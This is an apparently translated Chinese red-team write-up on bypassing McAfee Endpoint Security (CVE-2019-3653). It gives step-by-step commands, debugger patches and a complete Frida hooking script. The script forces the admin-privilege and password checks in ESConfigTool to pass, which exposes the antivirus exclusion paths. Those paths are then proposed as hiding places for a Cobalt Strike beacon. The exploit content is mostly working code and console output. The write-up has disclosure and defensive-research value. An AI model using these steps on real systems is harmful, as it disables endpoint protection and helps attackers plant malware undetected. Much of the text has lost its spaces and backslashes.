这篇文章是关于我在一次红队活动中如何利用mcafee工具绕过mcafeeendpointsecurity杀毒软件的故事。本来我没有计划写这篇文章,但当时的队友@fsdominguezand和@_dirkjan觉得此事值得被记录下来。现在,就让我们开始吧。
mcafee在以往,每当我们遇到mcafeevirusscanenterprise(vse)的时候,都可以通过简单地查询注册表,了解到那些位置是管理员指定的“特殊位置”(不受杀毒软件影响)。
然而,在这次任务中,事情没那么简单。因为他们使用的是mcafeeendpointsecurity,从vse时代到现在,mcafee可能认为最好不要将“特殊位置”之类的信息以明文形式存储在任何人都可阅读的文件中。
那么,我们现在该把恶意文件放在哪里?
esconfigtoolmcafeeendpointsecurity杀毒软件附带一个名为esconfigtool的程序,可用于导入和导出配置文件。它的详细用法如下。
我们发现,要从mcafeeendpointsecurity得知安全设置,你需要:
解锁密码管理权限很遗憾这两者我们都没有。
现在,先让我们下载一个试用版本的mcafeeendpointsecurity,看看是否有入手点。
变化我们最后决定还是以esconfigtool为目标,看看它是否有漏洞。我先创建了三个“特殊位置”:
c:windowstemp*mimikatz.exec:totallylegit还设置了密码保护:starwars。
打开一个cmd,看看我们是否可以得到这些设置信息。
microsoftwindows[version10.0.16299.15]
(c)2017microsoftcorporation.allrightsreserved.
c:windowssystem32>\”c:programfilesmcafeeendpointsecurityendpointsecurityplatformesconfigtool.exe\”/exportc:export.xml/moduletp/unlockstarwars/plaintext
commandexecutedsuccessfully.pleaserefertoendpointsecuritylogsfordetails
c:windowssystem32>
让我们打开xml文件,看看是否有敏感信息:
<exclusion_items>
<exclusion_item>
<exclusion_by_name_or_location>c:windowstemp</exclusion_by_name_or_location>
<exclusion_file_type/>
<exclusion_by_file_age>0</exclusion_by_file_age>
<exclusion_type>3</exclusion_type>
<exclusion_exclude_subfolders>1</exclusion_exclude_subfolders>
<exclusion_on_read>1</exclusion_on_read>
<exclusion_on_write>1</exclusion_on_write>
<exclusion_source>0</exclusion_source>
</exclusion_item>
<exclusion_item>
<exclusion_by_name_or_location>***mimikatz.exe</exclusion_by_name_or_location>
<exclusion_file_type/>
<exclusion_by_file_age>0</exclusion_by_file_age>
<exclusion_type>3</exclusion_type>
<exclusion_exclude_subfolders>0</exclusion_exclude_subfolders>
<exclusion_on_read>1</exclusion_on_read>
<exclusion_on_write>1</exclusion_on_write>
<exclusion_source>0</exclusion_source>
</exclusion_item>
<exclusion_item>
<exclusion_by_name_or_location>c:totallylegit</exclusion_by_name_or_location>
<exclusion_file_type/>
<exclusion_by_file_age>0</exclusion_by_file_age>
<exclusion_type>3</exclusion_type>
<exclusion_exclude_subfolders>1</exclusion_exclude_subfolders>
<exclusion_on_read>1</exclusion_on_read>
<exclusion_on_write>1</exclusion_on_write>
<exclusion_source>0</exclusion_source>
</exclusion_item>
</exclusion_items>
是的,在拥有管理员权限以及输入了正确密码的情况下,你可以得到安全设置。让我们通过x64dbg软件,看一下它的整体流程。
self-defense通常使用调试软件打开二进制文件是很简单的,但由于我们面对的是安全软件,所以有一些额外的障碍。一个重要的原因是,mcafee的大部分组件都有“自卫”功能。如果你尝试使用调试软件,将立即得到一个debuggingstopped消息,mcafee对这种可疑行为极为敏感。
12/10/201912:47:09mfeesp(2204.6392)<system>apbl.sp.activity:desktop-dnuk2r5adminranx64dbg.exe,whichattemptedtoaccessesconfigtool.exe,violatingtherule\”coreprotection–protectmcafeeprocessesfromunauthorizedaccessandtermination\”,andwasblocked.forinformationabouthowtorespondtothisevent,seekb85494.
12/10/201912:47:09mfeesp(2204.5404)<system>apbl.sp.activity:desktop-dnuk2r5adminranx64dbg.exe,whichattemptedtoaccessesconfigtool.exe,violatingtherule\”coreprotection–protectmcafeeprocessesfromunauthorizedaccessandtermination\”,andwasblocked.forinformationabouthowtorespondtothisevent,seekb85494.
看来我们首先需要绕过这种自我防御机制。
microsoftwindows[version10.0.16299.15]
(c)2017microsoftcorporation.allrightsreserved.
c:usersadmin>mkdirtemp
c:usersadmin>cdtemp
c:temp>copy\”c:programfilesmcafeeendpointsecurityendpointsecurityplatformesconfigtool.exe\”.
1file(s)copied.
c:temp>copy\”c:programfilesmcafeeendpointsecurityendpointsecurityplatformblframework.dll\”.
1file(s)copied.
c:temp>copy\”c:programfilesmcafeeendpointsecurityendpointsecurityplatformepsecapilib.dll\”.
1file(s)copied.
c:temp>copy\”c:programfilesmcafeeendpointsecurityendpointsecurityplatformmcvariantexport.dll\”.
1file(s)copied.
c:temp>copy\”c:programfilesmcafeeendpointsecurityendpointsecurityplatformloglib.dll\”.
1file(s)copied.
c:temp>
没错,只要像如上所述疯狂复制文件,你就可以绕过自我防御,对软件进行调试。现在,让我们开始调试吧。
绕过密码检查先让我们看看当使用错误的密码时会发生什么,也许会有一些字符提示:
c:windowssystem32>\”c:programfilesmcafeeendpointsecurityendpointsecurityplatformesconfigtool.exe\”/exportc:export.xml/moduletp/unlockstartrek/plaintext
thereweresomeerrorswhileexecutingcommand.pleaserefertoendpointsecuritylogsfordetails
c:windowssystem32>
嗯,没什么特别的。不过mcafee的日志文件提供了更多信息:
10/12/201901:11:46.400pmesconfigtool(5476.8840)<admin>esconfigtool.esconfigtool.error(importexportutil.cpp:677):failedtounlockclientsettingswithusersuppliedpassword,triggeractionfailed
让我们在调试器中搜索特定字符串,看看能否找到这个错误的来源。
现在我们把这个位置设为断点,再运行一次,看看在断点之前发生了什么。我们可以看到一个函数调用了一个名为blinvokemethod的东西,后面还跟着一个没有执行的跳转:
此时,我们有两个选择:
进入密码检查函数,看看它是如何工作的,并尝试破解密码。直接更改检查函数的返回值。因为我很懒,我所以选择了第2项。当输入错误的密码时,密码检查函数会将错误代码放入rax寄存器:
如果提供了正确的密码,则rax寄存器的值为0:
那么,如果我们提供了错误的密码,将密码检查函数中断,并将rax寄存器的值改为0,会发生什么情况呢?
成功导出设置!
看来密码检查只是由工具本身完成的,不牵涉其他组件,也不需要解密。
绕过管理员权限在没有管理员权限的情况下,esconfigtool工具能使用的功能是非常有限的:
microsoftwindows[version10.0.16299.15]
(c)2017microsoftcorporation.allrightsreserved.
c:usersuser>\”c:programfilesmcafeeendpointsecurityendpointsecurityplatformesconfigtool.exe\”/exportc:tempexport.xml/moduletp/unlockstarwars/plaintext
description:
endpointsecurityconfigurationtoolforexportingandimportingpolicyconfiguration.userneedsadministratorprivilegestorunthisutility.utilityneedspasswordiftheclientinterfaceispasswordprotected.filesuppliedforimportmustbeanencryptedfile.
usage:
esconfigtool.exe/export<filename>[/module<tp|fw|wc|esp>][/unlock<password>][/plaintext]
esconfigtool.exe/import<filename>[/module<tp|fw|wc|esp>][/unlock<password>][/policyname<name>]
esconfigtool.exe/help
c:usersuser>
我们怎样才能知道权限检查的流程呢?先让我们以普通用户的身份运行调试器,看看会发生什么。发现它调用一个函数,并对返回值进行字符串比较,如果返回代码不是0,则调用“exit”。
如果追踪这个函数,会发现它将最终调用allocateandinitializesid。不过这些都不值得花时间去逆向。让我们再次尝试偷懒的方法更改函数返回值。
返回值检查如下:
这一次返回值必须是0以外的任何值。
ok,又成功了!
我们现在可以从mcafeeendpointsecurity导出安全设置,不需要管理权限,不需要知道正确的密码!
自动运行到目前为止,一切都很顺利,但是每次使用调试器更改返回值是一件痛苦的事情。不过幸运的是,存在frida这么一个有趣的东西,它可以帮你做所有很酷的事情,比如hook函数或改变其返回值,你不需要任何额外的技能,除了javascript!
那么我们如何将frida注入到mcafee呢?很简单,frida-server。只需在运行mcafee的机器上启动它,然后使用python进行连接。
mcafee机器:microsoftwindows[version10.0.16299.15]
(c)2017microsoftcorporation.allrightsreserved.
c:usersadmin>cdtemp
c:temp>frida-server-12.7.9-windows-x86_64.exepython机器:
python3.6.7(default,oct222018,11:32:17)
[gcc8.2.0]onlinux
type\”help\”,\”copyright\”,\”credits\”or\”license\”formoreinformation.
>>>importfrida
>>>devmgr=frida.get_device_manager()
>>>devmgr.add_remote_device(\’192.168.31.150\’)
device(id=\”tcp@192.168.31.150\”,name=\”192.168.31.150\”,type=\’remote\’)
>>>rdev=frida.get_device(\’tcp@192.168.31.150\’)
>>>args=[
…\’esconfigtool.exe\’,
…\’/export\’,
…\’frida-export.xml\’,
…\’/module\’,
…\’esp\’,
…\’/unlock\’,
…\’startrek\’,
…\’/plaintext\’
…]
>>>pid=rdev.spawn(args)
>>>session=rdev.attach(pid)
>>>session
session(pid=11168)
现在我们已经连接上,esconfigtool.exe也正在运行!
现在我们可以将js代码注入到esconfigtool进程中。
frida脚本我不会详细介绍这个脚本的功能,其完整代码如下:
constconfigbase=module.findbaseaddress(\’esconfigtool.exe\’);
//constadmincheck=configbase.add(0x5240);//32
constadmincheck=configbase.add(0x5f30);//64
constblinvokemethod=module.findexportbyname(\’blframework.dll\’,\’blinvokemethod\’)
console.log(\'[-]baseaddressis:\’,configbase);
console.log(\'[-]admincheckis:\’,admincheck);
console.log(\'[-]blinvokemethod:\’,blinvokemethod);
interceptor.attach(admincheck,{
onenter:function(args){
console.log(\'[+]hookedadmincheckfunction\’);
},
onleave:function(retval){
console.log(\'[+]returningtrueforadmincheck\’);
retval.replace(1);
}
});
interceptor.attach(blinvokemethod,{
onenter:function(args){
console.log(\'[+]hookedblinvokemethodfunction\’);
},
onleave:function(retval){
console.log(\'[+]patchingpasswordcheckfunction\’);
retval.replace(0x0);
}
});
这个脚本执行的正是我们在调试器中手动执行的操作,更改返回值。让我们注入脚本,看看它是否有效:
>>>script=\”\”\”
…constconfigbase=module.findbaseaddress(\’esconfigtool.exe\’);
…//constadmincheck=configbase.add(0x5240);//32
…constadmincheck=configbase.add(0x5f30);//64
…constblinvokemethod=module.findexportbyname(\’blframework.dll\’,\’blinvokemethod\’)
…
…console.log(\'[-]baseaddressis:\’,configbase);
…console.log(\'[-]admincheckis:\’,admincheck);
…console.log(\'[-]blinvokemethod:\’,blinvokemethod);
…
…interceptor.attach(admincheck,{
…onenter:function(args){
…console.log(\'[+]hookedadmincheckfunction\’);
…},
…onleave:function(retval){
…console.log(\'[+]returningtrueforadmincheck\’);
…retval.replace(1);
…}
…});
…
…interceptor.attach(blinvokemethod,{
…onenter:function(args){
…console.log(\'[+]hookedblinvokemethodfunction\’);
…},
…onleave:function(retval){
…console.log(\'[+]patchingpasswordcheckfunction\’);
…retval.replace(0x0);
…}
…});
…
…\”\”\”
>>>session.create_script(script).load()
[-]baseaddressis:0x7ff73ed30000
[-]admincheckis:0x7ff73ed35f30
[-]blinvokemethod:0x7ffa4d759730
>>>rdev.resume(pid)
>>>[+]hookedadmincheckfunction
[+]returningtrueforadmincheck
[+]hookedblinvokemethodfunction
[+]patchingpasswordcheckfunction
>>>
最终结果如下:
虽然我是作为“admin”用户运行的,但是没有涉及uac。相信我,这套方法也适用于普通用户。
后续现在,我们就可以把一个cobaltstrikebeacon放入那些“特殊位置”。尽管在本文中只讨论了设置信息导出,但你也可以导入配置文件,添加“特殊位置”,更改其他设置,甚至完全删除密码。
值得一提的是,其实这个配置文件加密与否并不重要,因为你可以把它导入自己的mcafee软件进行查看。
mcafee在确认了漏洞后,发布了一个安全建议和相关的修复程序,漏洞被标记为cve-2019-3653。